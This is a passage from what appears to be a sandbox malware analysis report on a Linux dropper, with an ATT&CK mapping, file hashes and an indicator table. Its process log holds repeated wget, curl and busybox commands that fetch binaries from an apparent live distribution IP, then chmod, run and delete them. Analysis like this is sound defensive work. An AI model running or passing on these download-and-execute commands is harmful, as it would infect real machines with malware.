  chmod 777 p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  ./p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
  2⤵
  PID:872
- /usr/bin/wget
  wget http://87.120.84.230/bins/UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  2⤵
  PID:876
- /bin/chmod
  chmod 777 UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  ./UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.84.230/bins/KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  2⤵
  PID:882
- /bin/chmod
  chmod 777 KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  ./KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.84.230/bins/k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  2⤵
  PID:891
- /bin/chmod
  chmod 777 k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  ./k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
  2⤵
  PID:894
- /usr/bin/wget
  wget http://87.120.84.230/bins/Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  2⤵
  PID:897
- /bin/chmod
  chmod 777 Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  ./Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
  2⤵
  PID:900
- /usr/bin/wget
  wget http://87.120.84.230/bins/YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  2⤵
  PID:903
- /bin/chmod
  chmod 777 YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  ./YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
  2⤵
  PID:906
- /usr/bin/wget
  wget http://87.120.84.230/bins/leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  2⤵
  PID:907
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  2⤵
  PID:909
- /bin/chmod
  chmod 777 leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  ./leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
  2⤵
  PID:912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K

Path /tmp/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K	667	p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
/tmp/UpCuxDTuT036p24eVSEMpwD3bmyESDApqK	681	UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
/tmp/KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l	703	KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
/tmp/k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH	729	k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
/tmp/sO26TctJja4a2oQVkDxLBp5zwDIjThF11T	737	sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
/tmp/Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo	758	Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
/tmp/leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu	778	leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu
/tmp/YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5	784	YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
/tmp/gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb	790	gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
/tmp/iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv	796	iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
/tmp/zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV	802	zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
/tmp/Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8	808	Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
/tmp/LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8	815	LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
/tmp/kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl	822	kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
/tmp/kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl	828	kvR2S6wAe0S4nZzwHgef4uIrPNfZ0OjOHl
/tmp/gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb	834	gNuboL0AduigdhvzJRJJOpzYhcYefZpSfb
/tmp/iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv	840	iFQSG7AZOgORB2xk8NSyg7HuheIsquSuPv
/tmp/zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV	846	zPmSvJGcPZwOHr93thlbQCgfaiv1cWhtcV
/tmp/Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8	852	Gff945kljYXvIOtQ9wvhCGc22j6Lxqpco8
/tmp/LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8	858	LP3Di0yc3JKb4f1GIHHMKFiXQjGn5tdRm8
/tmp/sO26TctJja4a2oQVkDxLBp5zwDIjThF11T	864	sO26TctJja4a2oQVkDxLBp5zwDIjThF11T
/tmp/p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K	871	p99W5N1iTKpiUwlTehtxrn1y1k5cMOtF5K
/tmp/UpCuxDTuT036p24eVSEMpwD3bmyESDApqK	878	UpCuxDTuT036p24eVSEMpwD3bmyESDApqK
/tmp/KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l	884	KywHj7KaPeD79nw0W7t2uLKmqvJv9poM6l
/tmp/k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH	893	k1kGLtyjxRaaFnrGhdZfjJoDFUPCBsvkjH
/tmp/Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo	899	Mf4a9Tdq16bp0Bx6KF7OP4W72LpEVphvpo
/tmp/YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5	905	YYVirNKm1mZ2jvzpU7aQTTidYHbHMqYhS5
/tmp/leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu	911	leTwsoyoW3BQ4JemQFsqyecq3GAVzKE5cu

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads